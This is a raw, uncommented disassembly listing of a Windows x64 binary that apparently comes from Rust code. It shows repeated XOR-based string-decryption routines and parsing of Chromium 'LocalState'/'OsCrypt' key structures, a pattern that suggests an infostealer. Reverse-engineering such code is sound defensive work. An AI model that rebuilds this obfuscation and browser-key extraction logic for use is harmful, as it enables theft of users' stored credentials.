shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rdi
or rdx, r14
xor rdx, qword [rax + rbx]
mov qword [rsp + rbx + 0x30], rdx
mov ebx, 8
xor edx, edx
jmp 0x14012849e
mov edx, 8
cmp rdx, 0xb
ja 0x140128577
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0x9c000000
xor r8d, dword [rax + rdx]
mov dword [rsp + rdx + 0x30], r8d
add rdx, 4
jmp 0x140128549
movzx eax, word [rax + 0xc]
xor eax, 0xfc97
mov word [rsp + 0x3c], ax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x2c0], rax
mov rax, qword [rsp + 0x36]
mov qword [rsp + 0x2c6], rax
xor edi, edi
mov ecx, 0xe
xor edx, edx
call fcn.1401674a3
mov rcx, qword [rsp + 0x2c0]
mov r8, qword [rsp + 0x2c6]
mov qword [rax], rcx
mov qword [rax + 6], r8
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 0xe
lea rax, [0x14043fae1]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xc22833ac4f6e5591
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140140fca
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x1404470ec]
cmp rdi, 0x1f
ja 0x14012863a
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x140128621
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x14043e5ee]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x802bedce1c4e9e41
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013dfec
and dword [rsi + 8], 0
and qword [rsi], 0
mov dl, 1
lea rcx, [0x14044710c]
test dl, 1
je 0x140128774
movzx r8d, byte [rbx + rcx]
mov rdx, rbx
or rdx, 1
movzx edx, byte [rdx + rcx]
mov r9, rbx
or r9, 2
movzx r9d, byte [r9 + rcx]
mov r10, rbx
or r10, 3
movzx r10d, byte [r10 + rcx]
mov r11, rbx
or r11, 4
movzx r11d, byte [r11 + rcx]
mov rdi, rbx
or rdi, 5
movzx edi, byte [rdi + rcx]
mov r15, rbx
or r15, 7
mov r14, rbx
or r14, 6
movzx r14d, byte [r14 + rcx]
movzx r15d, byte [r15 + rcx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rdi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rdi
or rdx, r14
xor rdx, qword [rax + rbx]
mov qword [rsp + rbx + 0x30], rdx
mov ebx, 8
xor edx, edx
jmp 0x1401286ce
mov edx, 8
cmp rdx, 0xb
ja 0x1401287a7
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0xa6000000
xor r8d, dword [rax + rdx]
mov dword [rsp + rdx + 0x30], r8d
add rdx, 4
jmp 0x140128779
movzx eax, word [rax + 0xc]
xor eax, 0x3dfa
mov word [rsp + 0x3c], ax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x2c0], rax
mov rax, qword [rsp + 0x36]
mov qword [rsp + 0x2c6], rax
xor edi, edi
mov ecx, 0xe
xor edx, edx
call fcn.1401674a3
mov rcx, qword [rsp + 0x2c0]
mov r8, qword [rsp + 0x2c6]
mov qword [rax], rcx
mov qword [rax + 6], r8
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 0xe
lea rax, [0x140445ab0]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xd4348cdba18bb1
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013dab3
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x14044711a]
cmp rdi, 0x1f
ja 0x14012886a
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x140128851
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x14043c7bd]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x3d1cd1f830c32dbc
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013f013
pxor xmm0, xmm0
movdqa xmmword [rsi], xmm0
lea rcx, [0x14044713a]
cmp rbx, 0xf
ja 0x140128915
mov rdx, qword [rbx + rcx]
xor rdx, qword [rax + rbx]
mov qword [rsp + rbx + 0x30], rdx
add rbx, 8
jmp 0x1401288fc
mov al, byte [rax + 0x10]
xor al, 0x63
movaps xmm0, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x2c0], xmm0
mov byte [rsp + 0x2d0], al
xor edi, edi
mov ecx, 0x11
xor edx, edx
call fcn.1401674a3
movdqa xmm0, xmmword [rsp + 0x2c0]
movdqu xmmword [rax], xmm0
mov cl, byte [rsp + 0x2d0]
mov byte [rax + 0x10], cl
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 0x11
lea rax, [0x140439f1e]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xafb724da7ca43574
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013ebc0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x14044714b]
cmp rdi, 0x1f
ja 0x1401289c9
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x1401289b0
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x14043ac0a]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xd680d70618c4e086
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14014099f
and word [rsi + 4], 0
and dword [rsi], 0
mov dl, 1
lea rcx, [0x14044716b]
test dl, 1
je 0x140128ab1
movzx edx, byte [rbx + rcx]
mov r8, rbx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r9, rbx
or r9, 3
mov r10, rbx
or r10, 2
movzx r10d, byte [r10 + rcx]
movzx r9d, byte [r9 + rcx]
shl r9d, 0x18
shl r10d, 0x10
shl r8d, 8
or r8d, edx
or r8d, r10d
or r8d, r9d
xor r8d, dword [rax + rbx]
mov dword [rsp + rbx + 0x30], r8d
mov ebx, 4
xor edx, edx
jmp 0x140128a5d
movzx ebx, word [rax + 4]
xor ebx, 0x3a26
mov ebp, dword [rsp + 0x30]
xor edi, edi
mov ecx, 6
xor edx, edx
call fcn.1401674a3
mov word [rax + 4], bx
mov dword [rax], ebp
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 6
lea rax, str._Users_spectrum_.cargo_registry_src_index.crates.io_6f17d22bba15001f_image_0.24.7_._src_codecs_webp_vp8.rs
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xc93c47e823f352b
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013e21e
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x140447171]
cmp rdi, 0x1f
ja 0x140128b49
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x140128b30
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x14043c22c]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xc91fd5c7b4e65367
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.140140d51
and qword [rsi], 0
mov dl, 1
lea rcx, [0x140447191]
test dl, 1
je 0x140128c7f
movzx r8d, byte [rbx + rcx]
mov rdx, rbx
or rdx, 1
movzx edx, byte [rdx + rcx]
mov r9, rbx
or r9, 2
movzx r9d, byte [r9 + rcx]
mov r10, rbx
or r10, 3
movzx r10d, byte [r10 + rcx]
mov r11, rbx
or r11, 4
movzx r11d, byte [r11 + rcx]
mov rdi, rbx
or rdi, 5
movzx edi, byte [rdi + rcx]
mov r14, rbx
or r14, 6
mov r15, rbx
or r15, 7
movzx r14d, byte [r14 + rcx]
movzx r15d, byte [r15 + rcx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rdi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rdi
or rdx, r14
xor rdx, qword [rax + rbx]
mov qword [rsp + rbx + 0x30], rdx
mov ebx, 8
xor edx, edx
jmp 0x140128bd9
movzx ecx, byte [rax + 0xa]
movzx eax, word [rax + 8]
xor eax, 0x2a8d
mov word [rsp + 0x38], ax
xor cl, 0x39
mov byte [rsp + 0x3a], cl
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x2c0], rax
mov eax, dword [rsp + 0x37]
mov dword [rsp + 0x2c7], eax
xor edi, edi
mov ecx, 0xb
xor edx, edx
call fcn.1401674a3
mov rcx, qword [rsp + 0x2c0]
mov qword [rax], rcx
mov ecx, dword [rsp + 0x2c7]
mov dword [rax + 7], ecx
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 0xb
lea rax, [0x14043ee45]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x84317dfe5b0fda8
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140141519
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x14044719c]
cmp rdi, 0x1f
ja 0x140128d49
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x140128d30
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x140444c8f]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xac4bf900ba06660a
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013f62c
and dword [rsi + 8], 0
and qword [rsi], 0
mov dl, 1
lea rcx, [0x1404471bc]
test dl, 1
je 0x140128e83
movzx r8d, byte [rbx + rcx]
mov rdx, rbx
or rdx, 1
movzx edx, byte [rdx + rcx]
mov r9, rbx
or r9, 2
movzx r9d, byte [r9 + rcx]
mov r10, rbx
or r10, 3
movzx r10d, byte [r10 + rcx]
mov r11, rbx
or r11, 4
movzx r11d, byte [r11 + rcx]
mov rdi, rbx
or rdi, 5
movzx edi, byte [rdi + rcx]
mov r14, rbx
or r14, 6
mov r15, rbx
or r15, 7
movzx r14d, byte [r14 + rcx]
movzx r15d, byte [r15 + rcx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rdi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rdi
or rdx, r14
xor rdx, qword [rax + rbx]
mov qword [rsp + rbx + 0x30], rdx
mov ebx, 8
xor edx, edx
jmp 0x140128ddd
mov edx, 8
cmp rdx, 0xb
ja 0x140128eb6
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0x17000000
xor r8d, dword [rax + rdx]
mov dword [rsp + rdx + 0x30], r8d
add rdx, 4
jmp 0x140128e88
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x2c8], eax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x2c0], rax
xor edi, edi
mov ecx, 0xc
xor edx, edx
call fcn.1401674a3
mov rcx, qword [rsp + 0x2c0]
mov qword [rax], rcx
mov ecx, dword [rsp + 0x2c8]
mov dword [rax + 8], ecx
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 0xc
lea rax, [0x14043ea5c]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x251be0b3d632c858
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.1401408b6
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x1404471c8]
cmp rdi, 0x1f
ja 0x140128f67
mov rdx, qword [rdi + rcx]
xor rdx, qword [rax + rdi]
mov qword [rsp + rdi + 0x30], rdx
add rdi, 8
jmp 0x140128f4e
lea rsi, [rsp + 0x30]
movaps xmm6, xmmword [rsi]
movdqa xmm7, xmmword [rsi + 0x10]
xor ebx, ebx
mov ecx, 0x20
xor edx, edx
call fcn.1401674a3
movdqu xmmword [rax + 0x10], xmm7
movups xmmword [rax], xmm6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x20
lea rdi, [rsp + 0x1e0]
lea rdx, [rsp + 0x288]
lea r8, [rsp + 0x110]
mov rcx, rdi
mov r9, rsi
call fcn.140008c19
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1400a290b
lea rax, [0x14043b405]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x6680c4438fe90048
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14013f353
pxor xmm0, xmm0
movdqa xmmword [rsi], xmm0
lea rcx, [0x1404471e8]
cmp rbx, 0xf
ja 0x140129012
mov rdx, qword [rbx + rcx]
xor rdx, qword [rax + rbx]
mov qword [rsp + rbx + 0x30], rdx
add rbx, 8
jmp 0x140128ff9
movaps xmm6, xmmword [rsp + 0x30]
xor edi, edi
mov ecx, 0x10
xor edx, edx
call fcn.1401674a3
movups xmmword [rax], xmm6
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], 0x10
lea rax, [0x140447f0f]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xd16fb64d311b6498
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013ea7b
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [0x1404471f8]
cmp rdi, 0x1f
ja 0x14012909e
mov ecx, dword [rsp + 0x31]
mov edx, dword [rsp + 0x34]
mov r8, qword [rsp + 0x3d8]
mov dword [r8 + 4], edx
mov dword [r8 + 1], ecx
movdqu xmm0, xmmword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [r8 + 0x20], xmm1
movdqu xmm1, xmmword [rsp + 0x60]
movdqu xmmword [r8 + 0x30], xmm1
mov byte [r8], al
movdqu xmmword [r8 + 8], xmm0
mov qword [r8 + 0x18], rcx
mov rsi, qword [rsp + 0x1d0]
mov rdi, qword [rsp + 0x2b8]
jmp 0x14012ce23
mov ecx, dword [rsp + 0x31]
mov edx, dword [rsp + 0x34]
mov r8, qword [rsp + 0x3d8]
mov dword [r8 + 4], edx
mov dword [r8 + 1], ecx
movdqu xmm0, xmmword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [r8 + 0x20], xmm1
movdqu xmm1, xmmword [rsp + 0x60]
movdqu xmmword [r8 + 0x30], xmm1
mov byte [r8], al
movdqu xmmword [r8 + 8], xmm0
mov qword [r8 + 0x18], rcx
jmp 0x14012ce06
mov ecx, dword [rsp + 0x31]
mov edx, dword [rsp + 0x34]
mov r8, qword [rsp + 0x3d8]
mov dword [r8 + 4], edx
mov dword [r8 + 1], ecx
movdqu xmm0, xmmword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [r8 + 0x20], xmm1
movdqu xmm1, xmmword [rsp + 0x60]
movdqu xmmword [r8 + 0x30], xmm1
mov byte [r8], al
movdqu xmmword [r8 + 8], xmm0
mov qword [r8 + 0x18], rcx
jmp 0x14012cdf9
mov ecx, dword [rsp + 0x31]
mov edx, dword [rsp + 0x34]
mov r8, qword [rsp + 0x3d8]
mov dword [r8 + 4], edx
mov dword [r8 + 1], ecx
movdqu xmm0, xmmword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [r8 + 0x20], xmm1
movdqu xmm1, xmmword [rsp + 0x60]
movdqu xmmword [r8 + 0x30], xmm1
mov byte [r8], al
movdqu xmmword [r8 + 8], xmm0
mov qword [r8 + 0x18], rcx
lea rcx, [rsp + 0x480]
call fcn.14011961d
lea rcx, [rsp + 0x3b8]
call fcn.1401195f3
mov rsi, qword [rsp + 0x1d0]
mov rdi, qword [rsp + 0x2b8]
lea rcx, [rsp + 0x390]
call fcn.1401195c9
mov rcx, rsi
mov rdx, rdi
call fcn.14015e77d
lea rcx, [rsp + 0x288]
call fcn.140118055
jmp 0x14012d003
mov ecx, dword [rsp + 0x31]
mov edx, dword [rsp + 0x34]
mov r8, qword [rsp + 0x3d8]
mov dword [r8 + 4], edx
mov dword [r8 + 1], ecx
movdqu xmm0, xmmword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [r8 + 0x20], xmm1
movdqu xmm1, xmmword [rsp + 0x60]
movdqu xmmword [r8 + 0x30], xmm1
mov byte [r8], al
movdqu xmmword [r8 + 8], xmm0
mov qword [r8 + 0x18], rcx
mov rsi, qword [rsp + 0x520]
mov rdi, qword [rsp + 0x518]
jmp 0x14012cfcb
mov ecx, dword [rsp + 0x31]
mov edx, dword [rsp + 0x34]
mov r8, qword [rsp + 0x3d8]
mov dword [r8 + 4], edx
mov dword [r8 + 1], ecx
movdqu xmm0, xmmword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [r8 + 0x20], xmm1
movdqu xmm1, xmmword [rsp + 0x60]
movdqu xmmword [r8 + 0x30], xmm1
mov byte [r8], al
movdqu xmmword [r8 + 8], xmm0
mov qword [r8 + 0x18], rcx
mov rsi, qword [rsp + 0x520]
mov rdi, qword [rsp + 0x518]
jmp 0x14012cfb6
mov ecx, dword [rsp + 0x31]
mov edx, dword [rsp + 0x34]
mov r8, qword [rsp + 0x3d8]
mov dword [r8 + 4], edx
mov dword [r8 + 1], ecx
movdqu xmm0, xmmword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [r8 + 0x20], xmm1
movdqu xmm1, xmmword [rsp + 0x60]
movdqu xmmword [r8 + 0x30], xmm1
mov byte [r8], al
movdqu xmmword [r8 + 8], xmm0
mov qword [r8 + 0x18], rcx
jmp 0x14012cf91
mov ecx, dword [rsp + 0x31]
mov edx, dword [rsp + 0x34]
mov r8, qword [rsp + 0x3d8]
mov dword [r8 + 4], edx
mov dword [r8 + 1], ecx
movdqu xmm0, xmmword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [r8 + 0x20], xmm1
movdqu xmm1, xmmword [rsp + 0x60]
movdqu xmmword [r8 + 0x30], xmm1
mov byte [r8], al
movdqu xmmword [r8 + 8], xmm0
mov qword [r8 + 0x18], rcx
lea rcx, [rsp + 0x370]
call fcn.1401195f3
lea rcx, [rsp + 0x480]
call fcn.140119647
mov rsi, qword [rsp + 0x520]
mov rdi, qword [rsp + 0x518]
mov r14, qword [rsp + 0x190]
mov r15, qword [rsp + 0x2b8]
lea rcx, [rsp + 0x3b8]
call fcn.1401195c9
mov rcx, r14
mov rdx, r15
call fcn.14015e77d
lea rcx, [rsp + 0x288]
call fcn.140118055
mov rcx, qword [rsp + 0x390]
mov rdx, qword [rsp + 0x398]
call fcn.14015e77d
mov rcx, rsi
mov rdx, rdi
call fcn.14015e77d
mov rax, qword [rsp + 0x278]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
call fcn.14015e77d
movaps xmm6, xmmword [rsp + 0x610]
movaps xmm7, xmmword [rsp + 0x620]
movaps xmm8, xmmword [rsp + 0x630]
add rsp, 0x648
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
add r8, rdx
mov rcx, rsi
call fcn.14016a83e
mov rdx, qword [rsp + 0x1e8]
mov rcx, rdi
call fcn.14015e77d
mov rcx, qword [rsp + 0x1d8]
mov rax, qword [rcx + 0x30]
mov rcx, qword [rcx + 0x40]
pxor xmm0, xmm0
lea rdx, [rsp + 0x30]
movdqu xmmword [rdx + 0x20], xmm0
mov qword [rdx], rax
mov qword [rdx + 8], rcx
and qword [rdx + 0x10], 0
mov qword [rdx + 0x18], 1
mov byte [rdx + 0x30], pe_nt_image_headers64
lea rsi, [rsp + 0x2c0]
mov rcx, rsi
call fcn.14022f135
cmp byte [rsi], 0
je 0x14012d0c1
mov rdi, qword [rsp + 0x2c8]
jmp 0x14012d41c
cmp byte [rsp + 0x2c1], 0
je 0x14012d3a8
movzx eax, byte [rsp + 0x2c2]
cmp eax, 0x5b
je 0x14012d256
cmp eax, 0x7b
jne 0x14012d3f0
dec byte [rsp + 0x60]
je 0x14012d3b9
lea rdi, [rsp + 0x48]
inc qword [rdi - 8]
mov bpl, 1
lea r14, [rsp + 0x2c0]
lea r15, [rsp + 0x30]
lea r12, [rsp + 0x1e0]
lea r13, str.os_cryptstruct_OsCrypt_with_1_element
xor ebx, ebx
mov rcx, r14
mov rdx, r15
call fcn.14022f135
cmp byte [rsp + 0x2c0], 0
jne 0x14012d322
cmp byte [rsp + 0x2c1], 0
je 0x14012d555
mov al, byte [rsp + 0x2c2]
movzx ecx, al
cmp ecx, 0x2c
je 0x14012d166
cmp ecx, 0x7d
je 0x14012d2f8
test bpl, bpl
jne 0x14012d19e
jmp 0x14012d56f
test bpl, bpl
jne 0x14012d19e
inc qword [rsp + 0x40]
mov rcx, r12
mov rdx, r15
call fcn.14022f135
cmp byte [rsp + 0x1e0], 0
jne 0x14012d43a
cmp byte [rsp + 0x1e1], 0
je 0x14012d5ba
mov al, byte [rsp + 0x1e2]
cmp al, 0x22
jne 0x14012d481
inc qword [rsp + 0x40]
and qword [rsp + 0x58], 0
mov rcx, r12
mov rdx, r15
mov r8, rdi
call fcn.14022df0e
cmp dword [rsp + 0x1e0], 2
mov rcx, qword [rsp + 0x1e8]
je 0x14012d32a
mov rdx, qword [rsp + 0x1f0]
mov r9d, 8
mov r8, r13
call fcn.140231b7f
xor ecx, ecx
test cl, cl
jne 0x14012d2f8
xor al, 1
je 0x14012d211
mov rcx, r15
call fcn.1401420e1
xor ebp, ebp
test rax, rax
je 0x14012d11d
jmp 0x14012d33e
test rbx, rbx
jne 0x14012d5db
mov rcx, r15
call fcn.14022f965
test rax, rax
jne 0x14012d5ec
mov rcx, r12
mov rdx, r15
call fcn.140010697
mov rbx, qword [rsp + 0x1e0]
test rbx, rbx
je 0x14012d580
mov rsi, qword [rsp + 0x1e8]
xor ebp, ebp
jmp 0x14012d11d
dec byte [rsp + 0x60]
je 0x14012d3b9
lea rdx, [rsp + 0x30]
inc qword [rdx + 0x10]
lea rsi, [rsp + 0x2c0]
mov rcx, rsi
call fcn.14022f135
cmp byte [rsi], 0
je 0x14012d2a4
mov rsi, qword [rsp + 0x2c8]
xor ebx, ebx
jmp 0x14012d2e9
cmp byte [rsp + 0x2c1], 0
je 0x14012d4a1
cmp byte [rsp + 0x2c2], 0x5d
je 0x14012d4c2
lea rsi, [rsp + 0x1e0]
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.140010697
mov rbx, qword [rsi]
test rbx, rbx
je 0x14012d3d4
mov rsi, qword [rsp + 0x1e8]
lea rcx, [rsp + 0x30]
inc byte [rcx + 0x30]
call fcn.14022f9c9
jmp 0x14012d35d
test rbx, rbx
lea r14, [rsp + 0x30]
lea r13, [rsp + 0x1e0]
jne 0x14012d350
lea rcx, str.os_cryptstruct_OsCrypt_with_1_element
mov edx, 8
call fcn.14013c415
mov rsi, rax
xor ebx, ebx
jmp 0x14012d350
mov rcx, qword [rsp + 0x2c8]
lea r14, [rsp + 0x30]
lea r13, [rsp + 0x1e0]
xor ebx, ebx
mov rsi, rcx
jmp 0x14012d350
xor ebx, ebx
mov rsi, rax
lea r14, [rsp + 0x30]
lea r13, [rsp + 0x1e0]
lea rcx, [rsp + 0x30]
inc byte [rcx + 0x30]
call fcn.14022fb11
test rbx, rbx
je 0x14012d3e1
test rax, rax
cmovne rsi, rax
jne 0x14012d40c
lea rcx, [rsp + 0x30]
call fcn.14022f0ea
mov rdi, rax
test rax, rax
jne 0x14012d41c
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
call fcn.14015e77d
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], rsi
mov byte [rsp + 0x30], 0x1a
jmp 0x14011e868
lea rdx, [rsp + 0x1e0]
mov qword [rdx], 5
jmp 0x14012d3c8
lea rdx, [rsp + 0x1e0]
mov qword [rdx], 0x18
lea rcx, [rsp + 0x30]
call fcn.14022f17c
jmp 0x14012d419
mov rsi, qword [rsp + 0x1e8]
jmp 0x14012d286
test rax, rax
je 0x14012d40c
mov rcx, rax
call fcn.14013b617
jmp 0x14012d40c
lea r8, [0x140449cb8]
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x3e0]
call fcn.140141e6c
mov rsi, rax
lea rcx, [rsp + 0x30]
mov rdx, rsi
call fcn.14022f1e7
mov rdi, rax
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
call fcn.14015e77d
mov byte [rsp + 0x30], 0x18
mov qword [rsp + 0x38], rdi
jmp 0x14011e868
mov rcx, qword [rsp + 0x1e8]
jmp 0x14012d32a
movzx eax, al
lea rdx, [rsp + 0x1e0]
cmp eax, 0x7d
jne 0x14012d566
mov qword [rdx], 0x15
jmp 0x14012d5c9
lea rdx, [rsp + 0x1e0]
mov qword [rdx], 2
lea rcx, [rsp + 0x30]
call fcn.14022f17c
mov rsi, rax
jmp 0x14012d286
lea rdx, str.struct_LocalState_with_1_element
xor ebx, ebx
xor ecx, ecx
call fcn.140142067
mov rsi, rax
jmp 0x14012d2e9
lea rdx, [rsp + 0x1e0]
mov qword [rdx], 3
